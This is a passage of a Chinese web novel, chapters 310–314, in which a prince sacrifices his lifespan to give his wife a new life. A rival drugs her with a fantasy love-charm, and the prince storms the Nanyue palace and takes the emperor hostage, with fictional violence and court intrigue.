然而,那年轻僧人听了这话,却第一次抬起了头,那双古井无波的眸子里,终于有了一丝波动。 他仔仔细细地打量了萧凌川片刻,最终微微颔首,转身走进了幽深的山洞。 姜天泽的心,莫名地悬了起来。 片刻之后,那年轻僧人快步走了出来,态度比之前恭敬了许多:“观月长老有请!” 萧凌川没有丝毫意外,抬步便往洞内走去。 姜天泽怔在原地,看着那道决绝的背影消失在黑暗中,心头掀起了惊涛骇浪。 难道……萧凌川说的都是真的? 他当真来过这祁月山,还见过这里的长老? 第310章 她于他而言,当真有那么重要吗? 第三百一十章 她于他而言,当真有那么重要吗? 冰棺留在身上的寒意未消,姜姝宁哆嗦着扶着石壁站起身。 心里就只有一个念头——必须在萧凌川发现她还活着之前离开这里,越远越好! 她强撑着虚弱的身体,一步步挪到洞口,却在看到洞外几个持剑的侍卫时退缩了。 怎么办?走不掉了! 绝望之际,她忽然感觉到一丝微弱的风拂过脸颊。 难道……这里还有别的出口? 顾不上身体的虚弱,她连忙循着那微弱的风源,跌跌撞撞地向山洞更深处摸索而去。 洞内漆黑一片,伸手不见五指。 她贴着潮湿粗粝的岩壁,深一脚浅一脚地往前走。 不知走了多久,前方终于透出了一丝微光。 有出口!真的有出口! 姜姝宁心中狂喜,加快了脚步。 那是一条极为狭长的石缝,光亮正是从那里透进来的。 她侧着身子,费力地从缝隙中挤了过去。 眼前豁然开朗,另一个洞口就在不远处。 她正要不顾一切地冲出去,一个苍老的声音却毫无征兆地从洞口飘了进来,将她死死钉在原地。 “王爷,起死复生乃是逆天而行,就算贫僧能做到,你也要付出巨大的代价,还请王爷三思!” 王爷?萧凌川! 她连忙收回脚,屏住呼吸,悄悄挪到洞口边,透过岩石的缝隙向外窥探。 萧凌川一身玄色锦服,背对着她而立,身形依旧挺拔,却透着一股石俱焚的决绝。 他的声音传来,沙哑破碎,字字都像从魂魄深处碾磨而出,带着不计代价的疯魔:“横竖不过是寿命罢了,要多少,长老尽管拿去便是。只要王妃能和本王进入新的轮回,付出再大的代价本王也愿意。这一次,本王无论如何都要和她白头到老!” 姜姝宁的脑子“嗡”地一声,一片空白。 他在说什么?什么轮回? 那个被称为“长老”的老者叹息一声,声音里满是无奈:“王爷,前世你为了让你的王妃和你再次进入轮回,已经付出了二十年的寿命,若这次再耗损二十年的寿命,下一世你就只剩下不到五十岁的寿命。王爷当真要如此吗?” 前世……二十年寿命…… 她浑身冰凉,血液仿佛在这一刻都停止了流动。 “本王心意已决,还请长老成全。”他的声音沙哑,却字字如铁,砸向这死寂的山洞,“有她在的岁月,哪怕转瞬即逝,也是人间盛景。可若没有她,纵使坐拥万里江山、享无尽阳寿,本王……也不过苟延残喘罢了。” 每一个字,都像一把重锤,狠狠砸在姜姝宁的心上,砸得她头晕目眩,五脏六腑都搅成了一团。 此刻她才将这些匪夷所思的话语拼凑成一个完整、却又荒谬到极致的真相。 原来她之所以能重活一世,不是上天垂怜,也不是什么意外,而是萧凌川……是他用前世的二十年阳寿,换来的! 难怪,难怪她今生“死”后,他会如此大费周章,将她的“尸身”抬到这与世隔绝的山上。 他是要再做一次交易,再用自己的寿命,换她一个来生! 一股难以言喻的酸涩猛地冲上鼻腔,姜姝宁死死捂住自己的嘴,不让一丝声音泄露出去。 她想起曾经问过他,前世他是如何死的。 他当时的表情,讳莫如深,冰冷疏离。 他说:“你不会想知道的。” 她一直以为,他死于算计姜瑶真和南月皇室的算计,死于他那贪婪的野心,所以羞于开口。 从未想过,他竟是为了她。 他是为了让她重生,主动献祭了自己的生命。 她于他而言,当真有那么重要吗? 重要到,能让那个醉心权势、视江山为毕生追求的萧凌川,放弃长寿,放弃他唾手可得的皇位,只为陪她一起堕入轮回? 荒唐,太荒唐了。 姜姝宁靠着冰冷的石壁缓缓滑落,蜷缩在黑暗的角落里,浑身颤抖不止。 她以为她看透了他,看透了他的狠戾无情、他的凉薄自私。 这一刻她才发现,她对他一无所知。 那老者的声音悠远而悲悯,仿佛穿透了无尽岁月:“你可想好了?此法逆天,一旦踏错,便是万劫不复,再无来生。贫僧言尽于此。” “无她,本王纵有千百世,又有何用?”萧凌川抬起头,字字如刃,斩尽最后一丝犹豫,“长老,动手吧。” 姜姝宁心头猛地一紧,他疯了吧! 用寿命换她的轮回,还要搭上生生世世? 萧凌川,你只顾着一味付出,可曾问过我……愿不愿意踩着你的血肉前行? 她正准备上前阻止,忽然后颈处传来一阵剧痛,还没来得及转身,眼前便一黑,彻底陷入了无边的黑暗中…… 后颈的钝痛将她从混沌中唤醒。 睁开眼睛,发现自己置身于一个陌生的地方,丝滑的锦被,陌生的龙涎香,精雕细琢的紫檀木床顶,奢华至极。 “大姐姐,你醒了?” 一道熟悉的声音传来。 姜姝宁挣扎着侧过头,视线撞入一双关切而灼热的眼眸里。 是姜天泽。 一年未见,他褪去了少年青涩,身形拔高,眉眼愈发与萧凌川相似,但相比萧凌川凌厉的轮廓,他的五官添了几分阴柔。 “天泽……”她开口,声音嘶哑,“这是何处?我……” 山洞中萧凌川和老者的对话如惊雷般在脑海中炸响,她猛地坐起。 “萧凌川呢?!” 姜天泽上前,眼中闪过一丝不易察觉的阴郁,随即又化为心疼:“大姐姐别怕,你安全了。这里是南月东宫,萧凌川找不到你。 方才我怕你被萧凌川发现,才将你打晕带回来的。如今我已是南月储君,有足够的能力护你周全,萧凌川休想再将你囚禁在身边!” “囚禁……”姜姝宁喃喃自语,唇边泛起一丝苦涩的笑意。 她想起萧凌川对老者说的那句“若没有她,纵使坐拥万里江山、享无尽阳寿,本王也不过苟延残喘”,心中酸涩难忍。 被囚禁的,从来不是她。 是他。 是他被困在那场名为“姜姝宁”的两世轮回里,不得解脱。 “天泽,我知道你是为我好,但我现在只想见王爷一面,有些话想当面对他说。” 姜天泽脸上的笑容僵住了,他难以置信地看着她:“见他?大姐姐,你费尽心机诈死,不就是为了逃离他吗?为何……” “我错了。”姜姝宁眼眶泛红,“我一直以为,有他的地方便是牢笼,可我刚刚才明白……那并非牢笼……” 是他难以言喻的爱。 一想到自己这一世重生是他用命换来的,姜姝宁就觉得自己的每一次心跳,都仿佛成了对他的亏欠。 她一直对前世他的冷落耿耿于怀,重生后想尽一切办法远离他。 总觉得命运待她不公,凭什么她被下毒惨死,一生没有被他温柔以待,也从未得到过他的爱,而他却能继续逍遥自在,继续倾权朝野,当个野心勃勃的王爷。 如今方知,他何曾安享过尊荣? 他分明是将自己的命剖开,一半用来偿还前世的债,另一半,用来铺就她今生的路。 他竟爱她入骨,到了不惜付出性命的地步。 “所以,大姐姐是想原谅萧凌川,重新回到他身边,对吗?”姜天泽一字一句地问,攥紧的掌心传来骨节错位的轻响,眼底翻涌着不为人知的情绪。 姜姝宁迎上他的目光,眼神无比坚定:“是。我们错过的已经够多了,这一生,我不想再错过。” 空气一瞬间凝固。 片刻后,姜天泽敛起眼底浓稠如墨的阴鸷,转身走向桌边。 “你刚醒,身子还虚着。我让人熬了碗粥,你先吃几口,再去找萧凌川不迟。” 姜姝宁本来想跟他说自己不饿的,但见他端着碗朝自己走来,目光寸步不让,只能应下:“好,我吃。” 她接过碗,一口一口吃了起来,没有察觉此时姜天泽眼底一览无遗的偏执与阴郁…… 第311章 她此生命数未尽 第三百一十一章 她此生命数未尽 那碗温热的粥滑入腹中,起初只是带来一丝暖意,驱散了身体的虚弱。 但很快,这暖意就变了质,像一条阴冷的蛇,盘踞在她的胃里,缓缓收紧。 姜姝宁胃里猛地一阵翻江倒海,一股恶心感直冲喉头。 她撑着床沿,俯下身,控制不住地呕吐起来。 可吐出来的并非未消化的米粥,而是黑色的、粘稠的不明液体,带着一股难以言喻的腥臭味味,溅落在地上。 她惊恐地瞪大双眼,血色瞬间从脸上褪尽。 “你在粥里……下了什么?”她抬起头,死死盯着姜天泽。 姜天泽脸上的温情荡然无存,取而代之的是一种近(乎)扭曲的狂热。 他俯下身,与她平视,笑容诡异而痴迷:“大姐姐放心,这粥没下毒。” 他伸出手,似乎想抚摸她的脸颊,却被姜姝宁惊恐地躲开。 他的手僵在半空,眼底的笑意却更深了,也更冷了。 “……是下了蛊。” “蛊?”这两个字从姜姝宁唇间吐出,只觉得头皮一阵发麻,四肢百骸都窜上了一股寒意。 “是,而且还是情蛊。是我这一年来,费尽心思,用我自己的心头血炼出来的。大姐姐,这可是我专程为你准备的,独一无二的礼物。” “你……卑鄙!”姜姝宁气得浑身发抖。 她后悔自己竟对他毫无防备之心! “萧凌川的手段难道就光明正大吗?既然大姐姐连他的感情都能接受,为何不能接受我的?”姜天泽的眼神狂热得吓人,“本来我也不想用这种手段的,可大姐姐竟然想回到萧凌川身边,这怎么可以?他那样对你,你怎么还能想着他?既然大姐姐对我的爱慕视而不见,那我便只能用这种极端方式,将你彻彻底底地留在我身边了!” 姜姝宁看着他这幅癫狂的模样,又惊又怒。 她心一横,竟将手指狠狠探入喉咙深处,试图将那恶心的东西吐出来。 剧烈的刺激让她的喉头一阵痉挛,胃里再次翻涌。 “大姐姐,没用的。”姜天泽的声音带着一丝怜悯,又有一丝残忍的快意,“蛊虫一旦进入你的体内,便会和你的血肉融为一体,你无论如何都无法将它吐出来了……你就乖乖的,顺应情蛊的效用,爱上我吧!忘了萧凌川,从此以后,你的心里眼里,都只能有我一个人!” 他的话音刚落,就见姜姝宁猛地咳出一口混杂着刺目鲜血的黑红色液体,触目惊心。 她竟将自己的喉咙抠破了! “大姐姐!”姜天泽脸上的笑容终于凝固了,他没想到她会刚烈至此。 他猛地扑上前,从身后将她死死桎梏在怀里,试图制止她的自残举动。 “别这样,你会伤了自己的!” 姜姝宁被他禁锢着,动弹不得,只能恨恨地瞪着他,眼中迸射出的恨意几乎要将他烧穿:“我绝不会……让你用这种卑劣的手段……操控我的感情……” 话音未落,她胸口一阵剧烈的起伏,喉头一甜,“哇”地一声,又吐出一口鲜血。 那鲜血溅在姜天泽华贵的衣袍上,像一朵朵妖异的红梅。 而后,她身体一软,彻底晕死了过去。 “大姐姐!”姜天泽顿时慌了神,怀中的温软身体没了声息,让他瞬间如坠冰窟。他所有的从容和算计在这一刻土崩瓦解。 他颤抖着手探向她的鼻息,尚有微弱的气流。 “来人!”他抱着她,声音嘶哑地朝殿外大吼,“快,把母妃请来!快!” 他口中的“母妃”,正是他的生母,曾经的姜家三夫人,如今南月后宫的柔贵妃。 柔贵妃来得很快,她身着宫装,仪态雍容,脸上却不见丝毫暖意。 她看也未看自己失态的儿子,径直走到床边,将两根手指搭在姜姝宁的手腕上。 寝殿内一片死寂,只有烛火偶尔发出的噼啪声。 姜天泽站在一旁,紧紧攥着拳,连呼吸都忘了。 许久,柔贵妃才收回手,脸色阴沉得能滴出水来。 “母妃,她到底怎么了?为何会吐血?”姜天泽急切地问。 “急火攻心,气血逆行,是服用情蛊后极为罕见的症状。”柔贵妃的声音冷得像冰,“这孩子性子太烈,宁死不从。她心里应当有深爱之人,爱意已入骨血,这情蛊根本容不进去,两相冲撞,才会如此。” “怎么会这样?”姜天泽难以置信地后退一步,“我从前也曾用炼出的情蛊让心有所属的人吃下,不出半日,那人便会忘却旧爱,对我言听计从!为何到了大姐姐这,就不行了?” 柔贵妃冷冷地瞥了他一眼,眼神里带着一丝失望:“就算是药,也要看人下。这世上哪有万无一失的方子,别说是蛊毒了。你以为这情蛊是神仙药吗?能扭转乾坤?” 她站起身,语气不容置喙:“快把她体内的蛊虫引出来,再晚些,两股力量在她体内相争,她经脉寸断,神仙难救!” 姜天泽的脸色瞬间变得惨白,眼底掠过浓浓的不甘与挣扎。 他筹谋了一年,耗费了无数心血,甚至不惜用自己的血喂养蛊虫,就是为了这一天。 可到头来,竟是这样一个结果? 然而,看着床上气息奄奄、生死不知的姜姝宁,所有的不甘最终都化为了恐惧。 他可以不在乎她是否爱他,却不能不在乎她的命。 他闭了闭眼,再睁开时,眼中的狂热被压下,只剩下晦暗的阴霾。 —— 与此同时,祁月山顶,夜风凛冽如刀。 萧凌川回到安置姜姝宁“遗体”的山洞,却发现山洞里的冰棺被打开来,里面空空如也。 一股比山巅寒气更刺骨的冷意,瞬间从萧凌川的脚底窜上天灵盖。 是姜天泽。 萧凌川的拳头瞬间攥紧,骨节因用力而根根泛白。 他怎么敢! 他竟然敢趁自己离开的片刻,就将姝宁带走了! 侍卫察觉到异样,冲了进来:“王爷!” 当他们看到空无一人的冰棺时,也是大惊失色,纷纷跪倒在地:“王爷恕罪!属下等失职!” 萧凌川的胸口剧烈起伏,一股暴戾的杀意几乎要冲破理智的牢笼。 良久,他才缓缓吐出一口浊气,压下心头翻涌的血腥。 也罢。 就算没了她的“尸首”,观月长老的秘法也一样能施展。 他之所以固执地要将她带上这祁月山,不过是为了熬过漫长的献祭仪式。 那重入轮回的仪式,需以身为祭,以血为引,过程长达数月,其间要承受的痛苦非人能想象。 他只是想,在那些痛不欲生的时刻,能看一看她的脸。 只要看着她,哪怕是冰冷的、没有生气的她,他便觉得一切都还能撑下去。 可没想到,就是这么一点卑微的愿望,也被姜天泽给毁了。 萧凌川眼底的墨色越发浓郁,他转身走出山洞,径直走向山巅的祭坛。 无妨。 早点结束这一切,他便能和她在下一世相见了。 祭坛之上,观月长老已准备就绪。 符文遍地,香烛摇曳,空气中弥漫着庄严肃穆的气息。 “长老,开始吧。”萧凌川的声音平静得有些可怕,像是一潭不见底的深渊。 观月长老看了他一眼,没有多问,点了点头,开始吟唱起古老而晦涩的咒文。 随着他的吟唱,祭坛中央的符文开始发出微弱的白光,一缕缕肉眼可见的白色气息从祭坛上升腾而起。 然而,那团白气盘旋了数圈后,祭坛上的烛火突然疯狂摇曳,忽明忽暗,最终“噗”的一声,尽数熄灭! 吟唱声戛然而止。 观月长老猛地睁开眼,眉头紧紧皱起,脸上是前所未有的凝重与困惑。 “王爷,”他转向萧凌川,“王妃此生的命数未尽,暂时无法进入轮回。” 萧凌川的身体猛地一僵,仿佛被一道惊雷劈中。 他花了半晌才消化掉这句话的含义,心脏不受控制地狂跳起来。 “您……确定吗?” “贫僧修行数十年,绝不会看错。”观月长老语气笃定,“牵魂引魄之术,只对已脱离肉身的魂灵有效。方才仪式启动,却根本无法锁定王妃的魂魄,这只有一种可能——” “王妃,并没死。” 姜姝宁没有死? 萧凌川的震惊无以复加。 可她入冰棺之前,分明已经没了任何气息和脉搏。 电光石火间,“诈死”两个字忽然窜入他的脑海。 一股难以言喻的狂喜夹杂着滔天的怒火,在他胸中轰然炸开。 她还活着——这个认知带来的狂喜,如失而复得的至宝,让他几乎要颤抖。 可下一瞬,这狂喜便被更汹涌的怒火与寒意吞噬。 她竟敢为了摆脱他而诈死,如今还落在了姜天泽的手里! 之前所有的悲伤和颓唐一扫而空,取而代之的是一种锐利如刀锋的决绝。 他猛地转身,对着身后那几名侍卫厉声下令:“你们今夜随本王潜入南月皇宫,把王妃给本王带回来!” 第312章 杀入南月皇宫 第三百一十二章 杀入南月皇宫 萧凌川携着一身凛冽的杀气,如一柄淬了寒毒的利刃,悍然刺穿了南月皇宫深沉的夜色。 他身后,精锐的侍卫如影随形,所到之处,刀光与鲜血相交,瞬间染红了寂静的宫道。 “太子殿下,不好了!皇宫里出现刺客了,这些刺客正朝东宫而来!” 内侍连滚带爬地冲进内殿,声音抖得不成样子。 姜天泽正小心翼翼地将一根银针刺入姜姝宁的穴位,闻言手一抖,银针偏离了分毫。 他眉心紧蹙,抬头看向殿外冲天的火光和隐约传来的厮杀声,眼底划过一抹了然的阴狠。 是萧凌川。 这个疯子,竟然真敢直闯南月的皇宫。 “那你们还愣着做什么?还不快去拦住他?”他低吼着,眼里的怒火几乎要喷薄而出,“去,派人告诉孤的父皇,就说他的亲外甥来找他算账了!他那么怕死,定会派人拦住萧凌川的!” 内侍被他骇人的气势吓得一哆嗦,屁滚尿流地跑了出去。 姜天泽不再迟疑,俯身将床上昏迷不醒、脸色苍白的姜姝宁打横抱起。 他抱着她,转身走向内殿深处,推开一扇不起眼的暗门,毫不犹豫地踏入了通往宫外的幽深密道。 养心殿内,烛火通明。 南月皇帝花连城正对着一炉熏香发呆,一名侍卫跌跌撞撞地跑了进来,将姜天泽的话原封不动地禀报。 “陛下……太子殿下说……说您的外甥,来找您算账了!” 听到“外甥”二字,花连城浑浊的眼中竟猛地亮起一丝诡异的喜色。 他激动地从龙椅上站起,身子因为兴奋而微微颤抖:“快!快传朕的旨意,千万别伤了他性命!将他……将他带到朕面前来!” 厮杀声越来越近,也越来越稀疏。 当最后一个忠心耿耿的侍卫为了掩护他而被数柄长矛刺穿身体,缓缓倒下时,萧凌川也终于力竭。 他单膝跪地,长剑插在石板缝隙里,支撑着摇摇欲坠的身体。 鲜血从他身上无数的伤口中渗出,将他脚下的地面染成一片暗红。 数十名禁卫军如狼似虎地扑了上来,冰冷的长矛尖从四面八方抵住了他的脖颈和要害。 他没有反抗,只是缓缓抬起头,布满血丝的双眼穿过重重人群,死死盯着东宫深处,眼里掠过一丝不甘心。 姝宁…… 本王定会想办法找到你的! 他被禁卫军粗暴地押解着,穿过长长的宫道,最终被推搡着跪在了养心殿冰冷的金砖上。 脖子上,十几根长矛的锋刃依旧紧紧抵着他的皮肤,稍有异动,便会血溅当场。 花连城快步走下御阶,激动万分地看着那张满是血污却依旧俊美凌厉的脸。 太像了,实在太像了。 那眉眼,那神情,简直和芷若年轻时一模一样。 “你……你就是朕的亲外甥,芷若的儿子吧?”他的声音里带着一丝不易察觉的颤抖,“朕和你母亲是同父同母的孪生兄妹,是你的亲舅舅啊!” 萧凌川缓缓抬起头,目光中的嘲弄和鄙夷像是淬了毒的利刃,狠狠刺向花连城。 他嗤笑一声,声音沙哑却清晰:“像你这种猪狗不如的东西,也配当我母亲的兄长?” “放肆!”花连城身旁的老内侍尖着嗓子呵斥,“就算你是公主殿下的亲生儿子,在陛下面前也不能这般无理!” 花连城却摆了摆手,示意内侍退下。 他看着萧凌川,脸上努力挤出一丝愧疚和慈爱:“无妨,无妨。我们之间有许多误会,你会怨恨朕也正常。当年……若不是朕执意要送芷若去大邺联姻,你们母子也不会受那么多苦。朕的确亏欠了你们母子。” 萧凌川冷笑起来,他的目光轻飘飘地扫过架在自己脖颈上的兵器,再落回花连城脸上:“这便是南月皇帝面对亏欠之人的做法?” 花连城一愣,急忙对着禁卫军挥手道:“快!快松开他!这是朕的亲外甥,都给朕把兵器撤了,别伤了他!” 禁卫军之首面露难色,上前一步提醒道:“陛下,此人武功太强,方才在宫中大开杀戒,若不用兵器限制他,恐生变故,太危险了!” 花连城有一瞬间的犹豫。 可当他对上萧凌川那双满是讥讽的眼睛时,还是咬了咬牙,提高了声音:“松开他!朕有事要和他商量!出了事,朕一力承担!” 禁卫军们无奈,只得依令收回了长矛。 桎梏被解除的瞬间,萧凌川的身形动了。 他动作快得如同一道鬼魅般的残影。 在所有人反应过来之前,他已然欺身到离他最近的一名禁卫军身侧,手腕一翻,对方腰间的佩刀便已出鞘,横在了花连城的脖颈上! 冰冷的刀锋紧紧贴着皇帝颈部脆弱的皮肤,带来一阵刺骨的寒意。 整个大殿瞬间死寂,所有人都被这突如其来的变故惊得魂飞魄散。 花连城吓得魂不附体,几乎要瘫倒在地,他惊恐地尖叫起来:“外甥,你、你这是做什么?” 萧凌川凑到花连城耳边,一字一句,声音低沉得如同地狱传来的索命梵音: “当年,你何止错在逼我母亲去联姻?你还错在,故意安插贡女刺杀我父皇!后来我父皇将一切怒火都宣泄在我母亲身上!你可知那几年她在冷宫里,是如何熬过来的? 你在南月心安理得地当你的储君,我母亲却日日遭受折磨和羞辱!花连城,你若真觉得亏欠她,就应该现在去死……” 他声音里的恨意满溢而出,握着刀的手因为用力而青筋暴起。 就在殿内气氛紧张到极点,血光仿佛一触即发之际,门外突然响起内侍尖利高亢的通报声,划破了这死一般的寂静。 “首辅大人到——” 花连城仿佛看见了救星,拼命朝着门口的方向挤出声音:“赵……赵爱卿!救驾!快救驾!” 殿门处,一个身着绯色官袍的中年男人缓步而入。 他身形清瘦,面容儒雅,步履从容得仿佛不是踏入一场挟持皇帝的血案现场,而是在自家后花园里散步。 此人正是南月权倾朝野的首辅,赵谦。 他目不转睛地看着萧凌川,语气却没有丝毫起伏:“王爷若是只想泄愤杀人,老臣自然无话可说,这就退下。” 他顿了顿,话锋陡然一转,那双深邃的眼睛里仿佛藏着无数秘密。 “可王爷千里迢迢,夜闯皇宫,当真只是为了陛下的项上人头么?” 萧凌川的动作微微一顿。 自然不是。 他是专程来找被姜天泽带走的姜姝宁的。 “你们的太子带走了本王的王妃,就藏在这皇宫里。”萧凌川冷声道,“只要你们将她交出来,本王承诺不会伤南月皇帝一根毫毛!” 赵谦点了点头:“好,就依你!来人,去东宫,将太子和他今日带回来的女子一并送过来!” “是,首辅大人!”禁卫军领命,迅速退下。 不过半盏茶的功夫,那名禁卫军便奔回殿内,声音里带着难以掩饰的惊惶:“启禀陛下、首辅大人,太子殿下和……柔贵妃,踪迹全无!东宫已空无一人!” “什么?!”花连城瞳孔猛地一缩,惊怒交加之下,声音几乎破音,“这逆子!他竟敢在此刻弃朕于不顾,置朕于死地!” 第313章 笑里藏刀的文臣 第三百一十三章 笑里藏刀的文臣 “姜天泽不见了?”萧凌川眼底怒焰滔天,声音低沉得仿佛从地狱深处传来,“既然如此,那便别怪本王大开杀戒!” 他手中的刀锋骤然逼近花连城的脖颈,冰冷的刃口划破皮肉,殷红的血珠缓缓渗出,沿着刀身淌下。 花连城吓得魂飞魄散,双腿一软,声嘶力竭地朝赵谦嘶吼:“赵谦!你还愣着做什么?快让他住手!救驾!快救驾!” 赵谦却依旧不慌不忙,目光沉静如深渊,语气平稳得近(乎)冷酷:“王爷若执意取陛下性命,固然可解一时之恨,但于寻找王妃又有何益?太子心思诡谲,宫中密道错综复杂,他既已遁走,便如鱼游大海。天下之大,王爷又何处寻人?” 他微微顿了顿,往前迈出两步,停在一个恰到好处的距离,声音低缓却字字如刀,精准刺入萧凌川心底,“王爷不如与我南月合作,由我们倾力相助,寻回王妃下落。王爷英明果断,想必明白,一时泄愤与救回心爱之人,孰轻孰重。” 每一句话,都如一记重锤,狠狠敲在萧凌川的软肋上。 他眼中的杀意未曾稍减,反而因这份被洞悉的无奈而愈发暴烈。 他此行唯一的目的,就是带回姜姝宁。 可眼下,这个看似儒雅的男人却告诉他,他最想屠戮的对象,偏偏是救回姜姝宁不可或缺的筹码。 花连城见萧凌川神色似有松动,立时涕泗横流地附和:“对!对!外甥,赵爱卿所言极是!只要你放过朕,朕立刻下令,掘地三尺也要找到天泽那逆子!定将你的王妃完好无损地交还于你!朕以帝位起誓!” 萧凌川眼底血光翻涌,握刀的手指因用力而青筋暴起,指节泛白。 多年积压的恨意,如洪水般在他胸腔中咆哮,恨不能即刻割断眼前这人喉咙,将害死母亲的仇人碎尸万段。 然而,姜姝宁还在等着他。 他若杀了这人,南月朝野大乱,姜姝宁的下落恐将更加渺茫。 就在他内心撕扯交战,杀气稍有松懈的刹那,赵谦眼底闪过一抹极难察觉的精光。“哗啦——” 一声沉重的机括响动,从大殿的四壁传来。 萧凌川猛然抬头,只见原本光滑的墙壁上,不知何时竟打开了数十个黑洞洞的方口。 每一个洞口后面,都伸出了一架寒光闪闪的重弩。 那粗壮的弩箭,箭头在烛火下泛着幽蓝的光,显然淬了剧毒。 所有的弩箭,都对准了他。 不,更准确地说,是对准了他怀中的花连城。 花连城脸上的血色瞬间褪尽,他难以置信地看向赵谦,嘴唇哆嗦着,一个字也说不出来:“赵谦……你……” 赵谦仿佛没看到皇帝惊恐的眼神,只是平静地看着萧凌川,说道:“王爷,现在,我们可以换一种方式谈谈了。” 他的声音依旧温和,却透着一股令人不寒而栗的残忍。 “要么,你现在杀了陛下,然后,我们万箭齐发,让你给陛下陪葬。你也不必再找回你的王妃了。” “要么,”赵谦的嘴角终于扯出一个没有温度的弧度,“你放开陛下。我们会帮你找到太子,让你见到王妃。至于之后如何,就看王爷的诚意了。” 这根本不是选择。 这是赤裸裸的逼迫。 萧凌川胸口剧烈起伏,喉间涌上一股腥甜。 他死死盯着赵谦,那眼神仿佛要将他凌迟。 原来,这南月皇宫里,真正掌权的根本不是这个叫花连城的废物,而是眼前这个笑里藏刀的文臣! 花连城已经彻底吓傻了。 他能感觉到,那些弩箭不仅仅是威胁萧凌川,更是真的打算连他一起射穿。 “外甥……不……王爷……”他语无伦次地哀求,“你放了朕吧!求求你!只要朕活着,你才有机会找到你的王妃啊!” 萧凌川闭了闭眼,再睁开时,眼底的滔天怒火被一层厚厚的冰霜覆盖。 他猛地一推,将抖成一滩烂泥的花连城狠狠推向赵谦的方向。 花连城脚下一个踉跄,被旁边的内侍手忙脚乱地扶住。 几乎在同一时间,萧凌川手中的佩刀“当啷”一声掉落在地。 他输了。 在这场以姜姝宁为赌注的博弈里,他输得一败涂地。 赵谦挥了挥手,墙壁上的弩箭悄无声息地收了回去。 他走到萧凌川面前,脸上带着一抹浅淡却意味深长的微笑,仿佛早已将一切算计于心。 “王爷果然是识时务的俊杰。既如此,不如移步老臣府上一坐如何?除了尽快寻回王妃的下落,老臣还有许多事想要与王爷商议。” 萧凌川抬起眼,目光冷冷地扫过他那张儒雅却深不可测的脸,嘴角勾起一抹嘲讽的弧度:“首辅大人好大的胆子,就不怕本王一怒之下,取了你的项上人头?” 一个在南月权倾朝野的权臣,他的命,可比一个残暴无能的昏君值钱多了。 赵谦却丝毫不乱,依旧保持着那份令人捉摸不透的从容。 “王爷乃当世豪杰,胸中有丘壑,岂会做那伤敌一千、自损八百的蠢事?想必在王爷心中,老臣这条命远不及王妃万分之一。”他顿了顿,朝萧凌川恭敬地颔首一礼,伸手做出邀请之态,“王爷,请!” 萧凌川冷哼一声,终是未再反驳,迈步跟上了赵谦的步伐。 二人一前一后,踏入了赵谦位于皇城一隅的宅院。 这座宅院虽不及皇宫奢华,却别有一番低调的雅致。 青石小径两旁,竹影婆娑,空气中隐隐弥漫着一股清幽的香气。 萧凌川刚踏入院中,便眉头一皱,脚步微微一顿——这香气,竟是如此熟悉。 那是记忆深处的一抹温柔,是他还是懵懂孩童时,曾在母亲随身带着的香囊上闻到的味道。 萧凌川的眼神陡然阴沉下来,拳头在袖中悄然攥紧,指节因用力而泛白。 见他身上血迹斑驳,赵谦温声提议道:“王爷一路奔波,又受了伤,不如先焚香沐浴,换一身干净衣衫,再到暖阁中饮茶详谈,如何?” 萧凌川本欲冷声拒绝,可对上赵谦关切的目光,他却改变了心意:“也好。” 待他沐浴完毕,换上一身赵谦命人备下的玄色锦袍,来到暖阁中时,赵谦早已换下朝服,着一身素雅的青衫,端坐在茶案旁。 案上,一只紫砂小壶袅袅升起白雾,茶香清雅,与窗外竹林的清风融为一体。 萧凌川在对面坐下,目光冷冽地扫过赵谦,端起茶盏浅抿了一口——这茶香,果然也与记忆中母亲最爱的味道如出一辙。 他猛地抬起眼,死死盯着赵谦,声音中压抑着无尽的冷意:“这些香,这些茶,都是刻意为之吧?” 赵谦并未回避他的目光,反而深深地看了回去,眼中似有复杂的情绪一闪而逝。 他低叹一声,语气中带着一丝难掩的怀念:“王爷果真敏锐。这香,这茶,确实是令堂当年最爱的。见到王爷,老臣便忍不住想起当年与令堂的种种过往。王爷的眉眼,实在与芷若太过相似了。” 萧凌川“砰”地一声将茶盏重重搁在案上,茶水溅出几滴,洇湿了桌面。 他冷笑一声,眼底的嘲讽几乎要溢出来:“首辅大人该不会以为,本王是你和母亲的孩子吧?” 此言一出,赵谦原本平静如水的脸上,骤然浮现出一抹难以掩饰的诧异与痛楚。 他的手指微不可察地颤了一下,声音中带着一丝罕见的慌乱:“你……是如何知晓的?” “首辅大人如此惊讶,莫非真是心虚了?”萧凌川冷冷地盯着他,目光如刀般锋利,仿佛要将眼前之人彻底剖开。 “你以为这些陈年旧事,当真无人知晓?你不正是我母亲当年在南月的未婚夫吗?比起那个将亲妹妹送到大邺和亲的南月皇帝,你这个眼睁睁看着未婚妻远嫁他国的懦夫,才是本王最为不齿的!” 赵谦的脸色瞬间惨白如纸,儒雅的外表下,那双深邃的眼中涌动着无法掩盖的痛苦与悔恨。 他张了张口,似乎想要辩解,可最终只化作一声低哑的苦笑:“当年……老臣也只是一个无权无势的工部尚书,纵有心护她,却无能为力……” “无能为力?”萧凌川猛地凑近他,眼中怒焰熊熊,声音低沉而充满恨意,“所以你就眼睁睁看着我母亲被送入虎狼之地?你可知,她在大邺的那些年,过的是什么日子?” 他顿了顿,声音中夹杂着无尽的悲怆与愤怒,“你们可知道,我母亲入宫不到一月,便被迫流产了腹中的孩子?没错,你和她的孩子早就死了,被大邺皇帝亲手杀死的。 而我,是她在无数次流产后怀上的。那时的她,距离上一次流产还不到两月!你们却将她留在那样的地狱里,不闻不问数年,可有想过她过的是什么日子?!有时候,本王甚至想,若她早些死去,或许还不用继续忍受那样的折磨!” 赵谦再也无法维持表面的平静,身体剧烈地颤抖起来,双手紧握成拳,指节因用力而青白。 他低声喃喃,声音中满是悔恨与自责:“是我负了芷若,是我无能……我从不知她受了如此多的苦……” “现在说这些又有何用?”萧凌川冷冷打断他,目光中没有一丝动容,只有无尽的冰冷与厌恶,“我母亲早已香消玉殒,而那个禽兽般的父皇,也已被本王亲手送入地狱。你如今忏悔,不过是徒增笑话!” 赵谦抬起头,眼底布满血丝,声音沙哑而急切:“不,你是芷若的孩子,是她留在这世上唯一的血脉!我愿意弥补你,哪怕只是万分之一!王爷,你要我如何做,才能稍稍减轻你对老臣的恨意?” 萧凌川冷笑一声,缓缓靠回椅背,目光中闪过一抹危险的光芒。 他一字一句,声音低沉得仿佛从地狱深处传来:“若你真有心弥补,那就将当年主张我母亲和亲的罪魁祸首杀了!助本王,成为这南月的新帝!” 第314章 花连城,赵谦……本王一个都不会放过! 第三百一十四章 花连城,赵谦……本王一个都不会放过! 